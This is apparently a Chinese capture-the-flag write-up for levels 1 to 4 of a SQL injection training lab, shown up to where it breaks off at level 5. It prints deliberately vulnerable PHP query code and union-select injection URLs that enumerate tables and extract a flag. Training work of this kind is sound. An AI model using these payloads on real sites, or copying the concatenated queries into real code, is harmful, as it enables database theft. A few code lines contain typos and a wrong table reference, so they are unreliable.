【封神台】Sql-Labs wp

前言

• 掌控安全里面的靶场Sql-Labs，练练手！
• 环境：http://inject2.lab.aqlab.cn:81/

pass-01

$username = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id='.$id;
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){
     
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;

• 显错注入、先判断多少个字段

• 查表拓展： 1 and exists(select * from user)这种形式可以猜解表是否存在

http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();

• 查flag表中字段

http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union all select 1,2,group_concat(column_name) from f.columns where table_schema=database() and table_name=0x6572726f725f666c6167; 
//0x6572726f725f666c6167是error_flag的十六进制

• 拿flag //后面就不截图了

http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union all select 1,2,flag from error_flag;

pass-02

$username = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id='\''.$id.'\'';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){
     
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;

• 给id传参加了个单引号，和上题一样的做法差不多，就是1后面加个’来闭合源代码中的单引号，再加个#号url编码也就是%23注释掉后面的单引号，也就可以联合查询了

http://inject2.lab.aqlab.cn:81/Pass-02/index.php?id=1' union all select 1,2,flag from error_flag %23;

pass-03

sername = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id='(\''.$id.'\')';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){
     
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;

• 上题id是’id’这题是加了个括号(‘id’)，不过意思不变，同样是进行构造’)在1后面然后利用注释符#来绕过也就是%23

http://inject2.lab.aqlab.cn:81/Pass-03/index.php?id=1') union all select 1,2,flag from error_flag %23;

pass-04

$username = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id=("'.$id.'")';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){
     
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;

• 单引号变双引号

http://inject2.lab.aqlab.cn:81/Pass-04/index.php?id=1") union all select 1,2,flag from error_flag %23;

pass-05

$username = $_POST['username'];
$password = $_POST['password'];
$sql